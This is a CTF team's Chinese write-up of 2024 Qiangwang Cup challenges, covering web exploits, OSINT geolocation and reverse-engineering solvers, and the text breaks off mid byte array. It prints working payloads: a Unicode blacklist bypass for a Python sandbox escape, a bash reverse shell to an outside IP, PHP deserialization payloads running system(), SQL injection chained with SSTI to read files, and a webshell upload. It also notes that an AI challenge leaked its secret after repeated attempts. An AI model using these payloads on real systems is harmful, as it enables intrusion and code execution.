A1natas 2024 强网杯 WriteUp

A1natas

2024-11-05

WriteUp

2024 强网杯 - A1natas

Web：

题目名称 PyBlockly

转python代码的时候存在字符串拼接而且调用了unidecode.unidecode

我们可以用一些和Ascii码相近的unicode字符来绕过黑名单，相当于我们可以往run.py里写入任意代码

然后就是一个hook函数和不能用import

经过测试*_import*可以导入模块，重写len函数来绕过第一层，os.system可以绕过第二层

def my_audit_hook(event_name, arg):
    blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"]
    print(len(event_name), event_name)
    if len(event_name) > 4:
        raise RuntimeError("Too Long!")
    print(event_name)
    for bad in blacklist:

        if bad in event_name:
            raise RuntimeError("No!")


__import__('sys').addaudithook(my_audit_hook)

def aa(a):return  1
__builtins__.__dict__['len']=aa

__import__('os').system('ls')

因为/flag只有root可以读，所以我们去/bin目录下找有suid位的命令，发现dd可以读flag

import re
import unidecode
# payload
# a = 'aa'）\nprint（'cc'）\nif（open（'\u2215flag'，'r'）。read（）【0】\uFF1D\uFF1D'f'）：print（'ok'）\nelse：print（'no'）\nprint（'bb'
# a = "aa'）\nb\uFF1Deval\nprint（b（"\uFF3F\uFF3Fimport\uFF3F\uFF3F（'os'）。popen（'ls \u2212al'）。read（）"））\ncontent\uFF1Dopen（'app。py'， 'r'）。read（）； print（content）\nprint（'bb"
# b = "\u0061\u0061\u2018\uff09\u000a\u0064\u0065\u0066\u0020\u0061\u0061\uff08\u0061\uff09\uff1a\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0020\u0031\u000a\uff3f\uff3f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\uff3f\uff3f\u3002\uff3f\uff3f\u0064\u0069\u0063\u0074\uff3f\uff3f\u3010\u2018\u006c\u0065\u006e\u2019\u3011\uff1d\u0061\u0061\u000a\uff3f\uff3f\u0069\u006d\u0070\u006f\u0072\u0074\uff3f\uff3f\uff08\u2018\u006f\u0073\u2019\uff09\u3002\u0073\u0079\u0073\u0074\u0065\u006d\uff08\u2018\u006c\u0073\u0020\u2215\u2019\uff09\u000a\u0070\u0072\u0069\u006e\u0074\uff08\u2019\u0062\u0062"
# print(b)
# b = "if（open（'\u2215flag','r'）.read（）【0】\uFF1D\uFF1D'f'）：print('ok"
# a = ''）；setattr（app，'\uFF3Fstatic\uFF3Ffolder'，'\u2215'）；print（''
a = 'aa'）\ndef aa（a）：return  1\n＿＿builtins＿＿。＿＿dict＿＿【'len'】＝aa\n＿＿import＿＿（'os'）。system（'dd if＝∕flag'）\nprint（'bb'
#a = "aa'）\ndef aa（a）：return  1\n\uFF3F\uFF3Fbuiltins\uFF3F\uFF3F。\uFF3F\uFF3Fdict\uFF3F\uFF3F【'len'】\uFF1Daa\n\uFF3F\uFF3Fimport\uFF3F\uFF3F（'os'）。system（'bash \u2212c "\u2215bin\u2215bash \u2212i \uFF1E\uFF06 \u2215dev\u2215tcp\u2215124。221。19。214\u22152333 0\uFF1E\uFF061"'）\nprint（'bb"

#检测字符串合法
# blacklist_pattern = r"[!\"#$%&'()*+,-./:;<=>?@[\\\]^_`{|}~]"
# def check_for_blacklisted_symbols(input_text):
#     if re.search(blacklist_pattern, input_text):
#
#         return True
#     else:
#         return False
# print(a)
# print()
# print(unidecode.unidecode(a))
# print(check_for_blacklisted_symbols(a))

# 输出每个字符的 Unicode 码点，以 \u 的形式表示
unicode_output = []
for char in a:
    unicode_output.append(f"\\u{ord(char):04x}")

# 将结果转换为字符串并输出
output_string = ''.join(unicode_output)
print(output_string)

{"blocks":{"languageVersion":0,"blocks":[{"type":"print","id":"$(sKlpWcndDa+ELT{P=)","x":105,"y":139,"inputs":{"TEXT":{"block":{"type":"text","id":"v4#0AoYZV/HPx_i(!9Nk","fields":{"TEXT":"\u0061\u0061\u2018\uff09\u000a\u0064\u0065\u0066\u0020\u0061\u0061\uff08\u0061\uff09\uff1a\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0020\u0031\u000a\uff3f\uff3f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\uff3f\uff3f\u3002\uff3f\uff3f\u0064\u0069\u0063\u0074\uff3f\uff3f\u3010\u2018\u006c\u0065\u006e\u2019\u3011\uff1d\u0061\u0061\u000a\uff3f\uff3f\u0069\u006d\u0070\u006f\u0072\u0074\uff3f\uff3f\uff08\u2018\u006f\u0073\u2019\uff09\u3002\u0073\u0079\u0073\u0074\u0065\u006d\uff08\u2018\u0064\u0064\u0020\u0069\u0066\uff1d\u2215\u0066\u006c\u0061\u0067\u2019\uff09\u000a\u0070\u0072\u0069\u006e\u0074\uff08\u2019\u0062\u0062"}}}}}]}}

题目名称 xiaohuanxiong

admin/payment/index 可以写文件

存在任意文件写上传一句话木马得到flag

题目名称 platform

字符串逃逸加session反序列化

这里的password传递数组

1	username=1&password[]=evalevaleval&password[]=";i:1;i:1;}\|O:15:"notouchitsclass":1:{s:4:"data";s:20:"systsystemem('/readflag');";}

得到flag

题目名称 Password Game

<?php
function filter($password){
    $filter_arr = array("admin","2024qwb");
    $filter = '/'.implode("|",$filter_arr).'/i';
    return preg_replace($filter,"nonono",$password);
}
class guest{
    public $username;
    public $value;
    public function __tostring(){
        if($this->username=="guest"){
            $value();
        }

        return $this->username;
    }
    public function __call($key,$value){
        if($this->username==md5($GLOBALS["flag"])){
            echo $GLOBALS["flag"];
        }
    }
}
class root{
    public $username;
    public $value;
    public function __get($key){
        if(strpos($this->username, "admin") == 0 && $this->value == "2024qwb"){
            $this->value = $GLOBALS["flag"];
            echo md5("hello:".$this->value);
        }
    }
}
class user{
    public $username;
    public $password;
    public $value;
    public function __invoke(){
        $this->username=md5($GLOBALS["flag"]);
        return $this->password->guess();
    }
    public function __destruct(){
        if(strpos($this->username, "admin") == 0 ){
            echo "hello".$this->username;
        }
    }
}
//$user=unserialize(filter($_POST["password"]));
//if(strpos($user->username, "admin") == 0 && $user->password == "2024qwb"){
//    echo "hello!";
//}

$payload = new root();
$payload->username="admin";
$payload->value="2024qwb";
$payload->aa=123;
$payload->test = new user();
$payload->test->username=&$payload->value;
echo serialize($payload);

//
//function sumSingleDigitNumbersInString($input)
//{
//    // 使用正则表达式匹配所有个位数
//    preg_match_all('/[0-9]/', $input, $matches);
//
//    // 将匹配到的数字字符转换为整数并计算总和
//    $sum = array_sum(array_map('intval', $matches[0]));
//
//    return $sum;
//}
//
//// 示例字符串
//$inputString = 'O:4:"root":4:{s:8:"username";S:5:"a\64min";s:5:"value";S:7:"2024qw\62";s:2:"aa";i:417250;s:4:"test";O:4:"user":3:{s:8:"username";R:3;s:8:"password";N;s:5:"value";N;}}';
//
//// 计算并输出结果
//$result = sumSingleDigitNumbersInString($inputString);
//echo "数字的总和是: " . $result;

//O:4:"root":4:{s:8:"username";S:5:"a\64min";s:5:"value";S:7:"2024qw\62";s:2:"aa";i:4172505;s:4:"test";O:4:"user":3:{s:8:"username";R:3;s:8:"password";N;s:5:"value";N;}}

1	O:4:"root":4:{s:8:"username";S:5:"a\64min";s:5:"value";S:7:"2024qw\62";s:2:"aa";i:4172505;s:4:"test";O:4:"user":3:{s:8:"username";R:3;s:8:"password";N;s:5:"value";N;}}

题目名称 Proxy

使用proxy服务访问flag路由即可

题目名称 snake

**替换js 写一个无敌版 **

const canvas = document.getElementById('gameCanvas');
const ctx = canvas.getContext('2d');

let snake = [];
let food = {};
let score = 0;

function draw() {
    ctx.clearRect(0, 0, canvas.width, canvas.height);
    
    // 绘制蛇
    ctx.fillStyle = '#00ff00';
    snake.forEach(segment => {
        ctx.fillRect(segment[0] * 20, segment[1] * 20, 20, 20);
    });
    
    // 绘制食物
    ctx.fillStyle = '#ff0000';
    ctx.fillRect(food.x * 20, food.y * 20, 20, 20);
    
    // 显示分数
    document.getElementById('score').innerText = `Score: ${score}`;
}

var look = false

function update() {

    if (look) return;


    var x = snake[0][0]
    var y = snake[0][1]

    console.log(x, y, currentDirection)

    switch(currentDirection) {
        case "LEFT":
            if (x > 0) x -= 1;
            break
        case "RIGHT":
            if (x < 20) x += 1;
            break
        case "UP":
            if (y > 0) y -= 1;
            break
        case "DOWN":
            if (y < 20) y += 1;
            break
    }

    if (x == -1 && currentDirection == "LEFT") return;
    if (x == 20 && currentDirection == "RIGHT") return;

    if (y == -1 && currentDirection == "UP") return;
    if (y == 20 && currentDirection == "DOWN") return;
    
    for (var i = 0; i < snake.length; i++) {
        if (x == snake[i][0] && y == snake[i][1]) return
    }

    console.log(x, y, currentDirection)

    look = true;

    fetch('/move', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json'
        },
        body: JSON.stringify({ direction: currentDirection })
    })
    .then(response => response.json())
    .then(data => {
        if (data.status === 'game_over') {
            alert(`Game Over! Your score: ${data.score}`);
            reset_game();
        }else if (data.status === 'win') {
            window.location.href = `${data.url}`;
        }else {
            snake = data.snake;
            food = { x: data.food[0], y: data.food[1] };
            score = data.score;
            draw();
            look = false;
        }
    });
}

let currentDirection = 'RIGHT';

document.addEventListener('keydown', event => {
    switch (event.key) {
        case 'ArrowUp':
            currentDirection = 'UP';
            break;
        case 'ArrowDown':
            currentDirection = 'DOWN';
            break;
        case 'ArrowLeft':
            currentDirection = 'LEFT';
            break;
        case 'ArrowRight':
            currentDirection = 'RIGHT';
            break;
    }
});

function reset_game() {
    fetch('/move', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json'
        },
        body: JSON.stringify({ direction: 'RIGHT' })
    })
    .then(response => response.json())
    .then(data => {
        snake = data.snake;
        food = { x: data.food[0], y: data.food[1] };
        score = data.score;
        draw();
        setInterval(update, 250);
    });
}

// 初始化游戏
reset_game();

成功进入

存在sql注入，回显可以利用来ssti注入

1	username=1' union select 1,2,"{{lipsum.__globals__.__builtins__.eval('__import__(\'os\').popen(\'cat /f*\').read()')}}"-- -

Misc：

题目名称签到

flag{We1c0mE_T0_Qi@nGwangCuP_S8_H0pe_yOu_w1IL_L1kE_iT!}

题目名称 givemesecret

多试几次，AI就自己吐出来了

flag{e541a39e-be5f-4f80-8dc0-9eccf198d2c3}

题目名称 Master Of OSINT

图1：看上去像是西北方，应该在内蒙新疆青海一带，最远处有一篇湖，百度地图一个个找过去最终在找到地点：

青海省海南藏族自治州共和县倒湖茶公路

misc-1

图2：根据图片最右侧的建筑，有一个明显的百安居，根据这个建筑入手找到上海浦东新区百安居(龙阳店)

misc-2

图4：根据图中卡车所属公司浙通物流，位于杭州萧山，加上我经常去杭州感觉这个隔音栏就像杭州绕城高速 优美爱有限公司附近

misc-3

**图5：根据建筑立体和蓝白色围栏初步判定在重庆 **重庆市九龙坡区谢家湾立交桥

misc-4

**图6：根据建筑密度和风格判定在东南方大城市，远处有一个类似H形的建筑 **南京聚宝楼招待所 附近

misc-5

**图7：初步判定大城市，有河，远处有一栋特征明显建筑 **湖南省长沙市岳麓区五一大道橘子洲大桥

misc-6

**图8：应该是海，但是颜色不蓝，可能是入海口的地方，有风车 **上海市崇明区G40(沪陕高速)

misc-7

图9：根据吊桥顶部形状，根据谷歌识图找到这篇文章https://www.gov.cn/jrzg/2009-12/26/content_1497241.htm 确定位置：湖北省武汉市青山区武汉天兴洲长江大桥

misc-8

图10：根据立交桥一行字中铁三局集团解说促进浙江经济发展，识图找到新塘高铁公园

misc-9

misc-10

Reverse：

题目名称 boxx

游戏题

flag是每个关卡中每个箱子移动的最短的次数拼接的md5码值和几个字符，1.flag{四个字符_md5值}，2.注意同一张图箱子不一定只有一个哦3.同一关需要计算所有箱子的总的最小移动次数，将每一关的最短次数拼接  解释：例如第一关是3第二关是5，就是md5(35...)

这是地图数组，14 张 20*20 的地图，

# # # # # # # # # # # # # # # # # # # #
# # # # # # # # # # # # # # # # # # # #
# # # # # # # # # # # # # # # # # # # #
# # #                     # # # # # # #
# # #   # # # # # # # #   # # # # # # #
# # #   # # # # # # # #   # # # # # # #
# # #   # # # # # # # #   # # # # # # #
# # #   # # # # # # # #   # # # # # # #
# # #   # # # # # # # #   # # # # # # #
# # #                     # # # # # # #
# # # # # # # # # # # #   # # # # # # #
# # # # # # # # # # # #   # # # # # # #
# # # # # # # # # # # #   # # # # # # #
# # # # # # # # # # # #   # # # # # # #
# # # # # # # # # # # #   # # # # # # #
# # # # # # # # # # # #   # # # # # # #
# # # # # # # # # # # #   # # # # # # #
# # # # # # # # # # # # # # # # # # # #
# # # # # # # # # # # # # # # # # # # #
# # # # # # # # # # # # # # # # # # # #

# # # # # # # # # # # # # # # # # # # #
# # # # # # # # # # # # # # # # # # # #
# # # # # # # # # # # # # # # # # # # #
# # # # # # # # # # # # # # # # # # # #
# #   # # # #   # # # #   # # # # # # #
# #   # # # #   # # # #   # # # # # # #
# #   # # # #   # # # #   # # # # # # #
# #   # # # #   # # # #   # # # # # # #
# #   # # # #   # # # #   # # # # # # #
# # #   # # #   # # #   # # # # # # # #
# # #   # # #   # # #   # # # # # # # #
# # #   # #   #   #   # # # # # # # # #
# # # #   #   #   #   # # # # # # # # #
# # # #   #   #   #   # # # # # # # # #
# # # # #   # # #   # # # # # # # # # #
# # # # # # # # # # # # # # # # # # # #
# # # # # # # # # # # # # # # # # # # #
# # # # # # # # # # # # # # # # # # # #
# # # # # # # # # # # # # # # # # # # #
# # # # # # # # # # # # # # # # # # # #

# # # # # # # # # # # # # # # # # # # #
# # # # # # # # # # # # # # # # # # # #
# # # # # # # # # # # # # # # # # # # #
# # #   # # # # # # # # # # # # # # # #
# # #   # # # # # # # # # # # # # # # #
# # #   # # # # # # # # # # # # # # # #
# # #   # # # # # # # # # # # # # # # #
# # #   # # # # # # # # # # # # # # # #
# # #                   # # # # # # # #
# # #   # # # # # # #   # # # # # # # #
# # #   # # # # # # #   # # # # # # # #
# # #   # # # # # # #   # # # # # # # #
# # #   # # # # # # #   # # # # # # # #
# # #   # # # # # # #   # # # # # # # #
# # #   # # # # # # #   # # # # # # # #
# # #                   # # # # # # # #
# # # # # # # # # # # # # # # # # # # #
# # # # # # # # # # # # # # # # # # # #
# # # # # # # # # # # # # # # # # # # #
# # # # # # # # # # # # # # # # # # # #

# # # # # # # # # # # # # # # # # # # #
# # # # # # # # # # # # # # # # # # # #
# # # # # # #           # # # # # # # #
# # # # # # #   # # #   # # # # # # # #
# # # # # # #   # # #   # # # # # # # #
# # # # # # #   # # #   # # # # # # # #
# # # # # # #   # # #   # # # # # # # #
# # # # # # #   # # #   # # # # # # # #
# # # # # # #   # # #   # # # # # # # #
# # # # # # #   # # #   # # # # # # # #
# # # # # # #   # # #   # # # # # # # #
# # # # # # #           # # # # # # # #
# # # # # # # # # # # # # # # # # # # #
# # # # # # # # # # # # # # # # # # # #
# # # # # # # #       # # # # # # # # #
# # # # # # # #   #   # # # # # # # # #
# # # # # # # #   #   # # # # # # # # #
# # # # # # # #       # # # # # # # # #
# # # # # # # # # # # # # # # # # # # #
# # # # # # # # # # # # # # # # # # # #

**主程序中只用到了前9张地图，后四张地图打印出来就是上面说的四个字母 **qwb! 然后写一个脚本来解每张地图

#include "bits/stdc++.h"
#include "map2.h"
using namespace std;

const int dx[] = {-1, 1, 0, 0};
const int dy[] = {0, 0, -1, 1};

struct State {
    int playerX, playerY;
    vector<pair<int, int>> boxes;

    bool operator<(const State &other) const {
        if (playerX != other.playerX) return playerX < other.playerX;
        if (playerY != other.playerY) return playerY < other.playerY;
        return boxes < other.boxes;
    }
};

class SokobanSolver {
private:
    vector<vector<int>> map;
    int n, m;
    vector<pair<int, int>> targets;
    State initialState;

public:
    SokobanSolver(vector<vector<int>> &gameMap) {
        map = gameMap;
        n = map.size();
        m = map[0].size();
        findInitialState();
    }

    void findInitialState() {
        for (int i = 0; i < n; i++) {
            for (int j = 0; j < m; j++) {
                if (map[i][j] == 2) {
                    initialState.playerX = i;
                    initialState.playerY = j;
                    map[i][j] = 0;
                } else if (map[i][j] == 3) {
                    initialState.boxes.push_back({i, j});
                    map[i][j] = 0;
                } else if (map[i][j] == 4) {
                    targets.push_back({i, j});
                }
            }
        }
    }

    bool isValid(int x, int y) {
        return x >= 0 && x < n && y >= 0 && y < m && map[x][y] != 1;
    }

    bool hasBox(const vector<pair<int, int>> &boxes, int x, int y) {
        return find(boxes.begin(), boxes.end(), make_pair(x, y)) != boxes.end();
    }

    vector<int> calculateMinPushes() {
        vector<int> result;
        std::map<State, int> visited;
        queue<State> q;


        q.push(initialState);
        visited[initialState] = 0;

        while (!q.empty()) {
            State current = q.front();
            q.pop();
            int steps = visited[current];

            bool allBoxesOnTarget = true;
            for (const auto &box: current.boxes) {
                bool onTarget = false;
                for (const auto &target: targets) {
                    if (box == target) {
                        onTarget = true;
                        break;
                    }
                }
                if (!onTarget) {
                    allBoxesOnTarget = false;
                    break;
                }
            }

            if (allBoxesOnTarget) {
                return {steps};
            }

            for (int dir = 0; dir < 4; dir++) {
                int newPlayerX = current.playerX + dx[dir];
                int newPlayerY = current.playerY + dy[dir];

                if (!isValid(newPlayerX, newPlayerY)) continue;

                vector<pair<int, int>> newBoxes = current.boxes;
                bool pushed = false;

                for (auto &box: newBoxes) {
                    if (box.first == newPlayerX && box.second == newPlayerY) {

                        int newBoxX = box.first + dx[dir];
                        int newBoxY = box.second + dy[dir];

                        if (!isValid(newBoxX, newBoxY)) continue;
                        if (hasBox(newBoxes, newBoxX, newBoxY)) continue;

                        box = {newBoxX, newBoxY};
                        pushed = true;
                        break;
                    }
                }

                State newState = {newPlayerX, newPlayerY, newBoxes};

                if (visited.find(newState) == visited.end()) {
                    visited[newState] = steps + (pushed ? 1 : 0);
                    q.push(newState);
                }
            }
        }

        return {-1};
    }
};

void convert_1d_to_3d(int map_22_1d[], int map_22_3d[14][20][20]) {
    for (int i = 0; i < 14; i++) {
        for (int j = 0; j < 20; j++) {
            for (int k = 0; k < 20; k++) {
                int index = i * (20 * 20) + j * 20 + k;
                if (index < 5600) {
                    map_22_3d[i][j][k] = map_22_1d[index];
                }
            }
        }
    }
}

int mapX[14][20][20];

int main() {
    convert_1d_to_3d(map_22, mapX);
    vector<vector<int>> mapX2 = vector<vector<int>>(20, vector<int>(20));

    for (int k = 0; k <= 8; ++k) {
        for (int i = 0; i < 20; ++i) {
            for (int j = 0; j < 20; ++j) {
                int code = mapX[k][i][j];
                mapX2[i][j] = code;
            }
        }
        SokobanSolver solver(mapX2);
        vector<int> result = solver.calculateMinPushes();

        cout << "case " << k << " ";
        if (result[0] == -1) {
            cout << "no solution" << endl;
        } else {
            cout << "at least " << result[0] << " times" << endl;
        }
    }
    return 0;
}

/*
case 0 at least 2 times
case 1 at least 12 times
case 2 at least 13 times
case 3 at least 9 times
case 4 at least 21 times
case 5 at least 13 times
case 6 at least 25 times
case 7 at least 31 times
case 8 at least 3 times
*/

// 212139211325313
// qwb!_fec2d316d20dbacbe0cdff8fb6ff07b9

题目名称斯内克

**又是一个游戏题，通过 **Game over! 定位到最终的比对函数哪里

发现有个 md5 散列和比较，然后还有调用，猜测是个 smc 对着 LpAddress 交叉引用发现有一个函数根据按下的按键修改 lpAdress 下的内容 **得到 smc 解密的目标散列值 **9c06c08f882d7981e91d663364ce5e2e

**在这里找到了随机数种子 **0xDEADBEEF，同时也确定了这就是个根据你的输入内容解密的smc

**题目提示 **需要选手的操作序列最短，也就是蛇转方向要尽可能的少，搓一个脚本利用启发式和A*算法算出蛇的最优转头路线，然后爆破果子的个数，发现枚举到第10个果子的时候 lpAdress 内容的散列值刚好是预期的

#include "bits/stdc++.h"
#include "md5.h"
#include "defs.h"
using namespace std;

enum Direction {
    UP,     // W
    DOWN,   // S
    LEFT,   // A
    RIGHT   // D
};

struct State {
    int x, y;           // 蛇头位置
    Direction dir;      // 当前方向
    string path;        // 路径
    int fruitIndex;     // 当前要吃的果子索引
    int steps;          // 步数

    State(int x, int y, Direction d, string p, int f, int s)
            : x(x), y(y), dir(d), path(p), fruitIndex(f), steps(s) {}

    bool operator<(const State& other) const {
        if (x != other.x) return x < other.x;
        if (y != other.y) return y < other.y;
        if (dir != other.dir) return dir < other.dir;
        return fruitIndex < other.fruitIndex;
    }
};

class SnakePathFinder {
private:
    const int SIZE = 20;
    vector<pair<int, int>> fruits;

    bool isValid(int x, int y) {
        return x >= 0 && x < SIZE && y >= 0 && y < SIZE;
    }

    Direction getOppositeDirection(Direction dir) {
        switch(dir) {
            case UP: return DOWN;
            case DOWN: return UP;
            case LEFT: return RIGHT;
            case RIGHT: return LEFT;
        }
        return UP;
    }

    char getDirectionChar(Direction dir) {
        switch(dir) {
            case UP: return 'W';
            case DOWN: return 'S';
            case LEFT: return 'A';
            case RIGHT: return 'D';
        }
        return 'W';
    }

    pair<int, int> moveInDirection(int x, int y, Direction dir) {
        switch(dir) {
            case UP: return {x-1, y};
            case DOWN: return {x+1, y};
            case LEFT: return {x, y-1};
            case RIGHT: return {x, y+1};
        }
        return {x, y};
    }

    // 优化后的启发式估计函数
    int estimateRemainingSteps(const State& state) {
        if (state.fruitIndex >= fruits.size()) return 0;

        int totalEstimate = 0;
        int currentX = state.x;
        int currentY = state.y;

        // 计算到所有剩余果子的最小距离之和
        for (int i = state.fruitIndex; i < fruits.size(); i++) {
            int dx = abs(currentX - fruits[i].first);
            int dy = abs(currentY - fruits[i].second);

            // 考虑转向的代价
            if (i == state.fruitIndex) {
                bool needHorizontalMove = (currentY != fruits[i].second);
                bool needVerticalMove = (currentX != fruits[i].first);

                if (needHorizontalMove && needVerticalMove) {
                    // 如果需要同时在水平和垂直方向移动，至少需要一次转向
                    if ((state.dir == LEFT || state.dir == RIGHT) && needVerticalMove) {
                        totalEstimate += 1;  // 考虑转向的代价
                    }
                    if ((state.dir == UP || state.dir == DOWN) && needHorizontalMove) {
                        totalEstimate += 1;  // 考虑转向的代价
                    }
                }
            }

            totalEstimate += dx + dy;  // 曼哈顿距离
            currentX = fruits[i].first;
            currentY = fruits[i].second;
        }

        return totalEstimate;
    }

public:
    SnakePathFinder(const vector<pair<int, int>>& fruitSequence) {
        fruits = fruitSequence;
    }

    string findOptimalPath(int startX, int startY, Direction startDir) {
        // 使用优先队列，按照估计的总步数排序
        auto cmp = [](const State& a, const State& b) {
            return (a.steps + a.path.length()) > (b.steps + b.path.length());
        };
        priority_queue<State, vector<State>, decltype(cmp)> pq(cmp);

        set<State> visited;
        State initial(startX, startY, startDir, "", 0, 0);
        pq.push(initial);
        visited.insert(initial);

        while(!pq.empty()) {
            State current = pq.top();
            pq.pop();

            // 如果所有果子都被吃掉
            if(current.fruitIndex >= fruits.size()) {
                return current.path;
            }

            // 如果到达当前目标果子
            if(current.x == fruits[current.fruitIndex].first &&
               current.y == fruits[current.fruitIndex].second) {
                State nextState = current;
                nextState.fruitIndex++;

                if(visited.find(nextState) == visited.end()) {
                    pq.push(nextState);
                    visited.insert(nextState);
                }
                continue;
            }

            // 尝试所有可能的方向
            for(int i = 0; i < 4; i++) {
                Direction newDir = static_cast<Direction>(i);

                // 不能直接调头
                if(newDir == getOppositeDirection(current.dir)) {
                    continue;
                }

                auto [newX, newY] = moveInDirection(current.x, current.y, newDir);

                if(!isValid(newX, newY)) {
                    continue;
                }

                string newPath = current.path;
                if(newDir != current.dir) {
                    newPath += getDirectionChar(newDir);
                }

                State newState(newX, newY, newDir, newPath,
                               current.fruitIndex, current.steps + 1);

                if(visited.find(newState) == visited.end()) {
                    pq.push(newState);
                    visited.insert(newState);
                }
            }
        }

        return "No path found";
    }
};

unsigned char map_data_orig[1152] = {
        0xBD, 0xBD, 0xBD, 0xBD, 0xBD, 0xBD, 0xBD, 0xBD, 0xBD, 0xBD, 0xBD, 0x38, 0x4C, 0xB0, 0x38, 0x6D,
        0xEE, 0x3F, 0xC4, 0xB4, 0xB4, 0x09, 0x6A, 0xF0, 0x38, 0x2C, 0x79, 0xF6, 0x34, 0xE9, 0x89, 0x38,
        0xAC, 0x7F, 0x35, 0xD4, 0xB4, 0xB4, 0x38, 0x6D, 0x77, 0xF6, 0xB6, 0x38, 0x6D, 0x78, 0xF6, 0xB6,
        0x2B, 0x18, 0xB4, 0xB4, 0xB4, 0x3B, 0x81, 0x81, 0x81, 0x81, 0xEF, 0x4E, 0x38, 0x4C, 0x7D, 0xF6,
        0x33, 0xD4, 0xB4, 0xB4, 0xB0, 0xE8, 0xF4, 0xB4, 0xB4, 0xB4, 0xB4, 0xB0, 0xE8, 0xF6, 0x2B, 0x27,
        0xA3, 0x1D, 0x3B, 0xF4, 0xB4, 0xB4, 0xB4, 0x38, 0x4A, 0xC0, 0xB4, 0xB0, 0xF8, 0x04, 0x38, 0x89,
        0xE3, 0xC3, 0xCA, 0x3B, 0xF4, 0xB4, 0xB4, 0xB4, 0x38, 0x4A, 0xC0, 0xC4, 0xB0, 0xF8, 0x04, 0x38,
        0xB3, 0x67, 0xE3, 0x16, 0x3B, 0xF4, 0xB4, 0xB4, 0xB4, 0x38, 0x4A, 0xC0, 0xD4, 0xB0, 0xF8, 0x04,
        0x38, 0xB6, 0xD3, 0xB6, 0xA9, 0x3B, 0xF4, 0xB4, 0xB4, 0xB4, 0x38, 0x4A, 0xC0, 0xE4, 0xB0, 0xF8,
        0x04, 0x38, 0x89, 0xD8, 0xC7, 0x33, 0x3B, 0xF4, 0xB4, 0xB4, 0xB4, 0x38, 0x4A, 0xC0, 0xB4, 0x2B,
        0xF4, 0xB4, 0xB4, 0xB4, 0x38, 0x4A, 0x50, 0xB4, 0x38, 0x4C, 0xED, 0xB5, 0xD4, 0xB4, 0xB4, 0x4C,
        0xF4, 0xD4, 0x2C, 0xF8, 0x85, 0x37, 0x3B, 0xF4, 0xB4, 0xB4, 0xB4, 0x38, 0x4A, 0xC0, 0xC4, 0x2B,
        0xF4, 0xB4, 0xB4, 0xB4, 0x38, 0x4A, 0x50, 0xC4, 0x38, 0x4C, 0xED, 0xB5, 0xD4, 0xB4, 0xB4, 0x4C,
        0xF4, 0xD4, 0x2C, 0xF8, 0x85, 0x37, 0x3B, 0xF4, 0xB4, 0xB4, 0xB4, 0x38, 0x4A, 0xC0, 0xD4, 0x2B,
        0xF4, 0xB4, 0xB4, 0xB4, 0x38, 0x4A, 0x50, 0xD4, 0x38, 0x4C, 0xED, 0xB5, 0xD4, 0xB4, 0xB4, 0x4C,
        0xF4, 0xD4, 0x2C, 0xF8, 0x85, 0x37, 0x3B, 0xF4, 0xB4, 0xB4, 0xB4, 0x38, 0x4A, 0xC0, 0xE4, 0x2B,
        0xF4, 0xB4, 0xB4, 0xB4, 0x38, 0x4A, 0x50, 0xE4, 0x38, 0x4C, 0xED, 0xB5, 0xD4, 0xB4, 0xB4, 0x4C,
        0xF4, 0xD4, 0x2C, 0xF8, 0x85, 0x37, 0xB0, 0xEC, 0xFE, 0xB4, 0xB4, 0xB4, 0xB4, 0xB4, 0xB4, 0xB4,
        0x6F, 0x14, 0x4C, 0xEC, 0xFE, 0xB4, 0xB4, 0xB4, 0x2F, 0xC0, 0x2C, 0xEC, 0xFE, 0xB4, 0xB4, 0xB4,
        0xCC, 0x6C, 0xFE, 0xB4, 0xB4, 0xB4, 0xB6, 0x24, 0xCC, 0x72, 0xB4, 0xB4, 0xB4, 0x3B, 0xF4, 0xB4,
        0xB4, 0xB4, 0x38, 0x4A, 0xC0, 0xB4, 0x2B, 0xF4, 0xB4, 0xB4, 0xB4, 0x38, 0x4A, 0x50, 0xC4, 0x4C,
        0x79, 0x85, 0x37, 0xD0, 0xD2, 0xF4, 0x5B, 0xF4, 0xB4, 0xB4, 0xB4, 0x38, 0x4A, 0xE1, 0xC4, 0x4C,
        0xF9, 0x05, 0x37, 0xD0, 0x62, 0x04, 0xE3, 0x60, 0x5B, 0xF4, 0xB4, 0xB4, 0xB4, 0x38, 0x4A, 0xE1,
        0xC4, 0xE4, 0x79, 0x05, 0x37, 0x4C, 0xE9, 0xF4, 0xCC, 0xE2, 0xE4, 0x4C, 0xE1, 0x4C, 0xF9, 0xED,
        0x38, 0xF8, 0x4C, 0xE8, 0xF4, 0xF8, 0xE4, 0xE0, 0xA8, 0x4C, 0xC1, 0xE3, 0x60, 0xE4, 0x79, 0x04,
        0x37, 0x4C, 0xD0, 0x2B, 0xF4, 0xB4, 0xB4, 0xB4, 0x38, 0x4A, 0x50, 0xB4, 0x2C, 0xF8, 0x85, 0x37,
        0x4C, 0xE8, 0xF6, 0x4C, 0x69, 0xF4, 0xE4, 0x40, 0x4C, 0xD0, 0x2C, 0xE8, 0xF4, 0x3B, 0xF4, 0xB4,
        0xB4, 0xB4, 0x38, 0x4A, 0xC0, 0xC4, 0x2B, 0xF4, 0xB4, 0xB4, 0xB4, 0x38, 0x4A, 0x50, 0xB4, 0x4C,
        0x79, 0x85, 0x37, 0xD0, 0xD2, 0xF4, 0x5B, 0xF4, 0xB4, 0xB4, 0xB4, 0x38, 0x4A, 0xE1, 0xB4, 0x4C,
        0xF9, 0x05, 0x37, 0xD0, 0x62, 0x04, 0xE3, 0x60, 0x5B, 0xF4, 0xB4, 0xB4, 0xB4, 0x38, 0x4A, 0xE1,
        0xB4, 0xE4, 0x79, 0x05, 0x37, 0x4C, 0xE9, 0xF4, 0xD0, 0x62, 0x64, 0xCC, 0xE2, 0xE4, 0x4C, 0xE1,
        0x4C, 0xF9, 0xED, 0x38, 0xF8, 0x4C, 0xE8, 0xF4, 0xF8, 0xE4, 0xE0, 0xA8, 0x4C, 0xC1, 0xE3, 0x60,
        0xE4, 0x79, 0x04, 0x37, 0x4C, 0xD0, 0x2B, 0xF4, 0xB4, 0xB4, 0xB4, 0x38, 0x4A, 0x50, 0xC4, 0x2C,
        0xF8, 0x85, 0x37, 0x52, 0x54, 0x2F, 0x2F, 0x2F, 0xB0, 0xEC, 0x00, 0xB4, 0xB4, 0xB4, 0xB4, 0xB4,
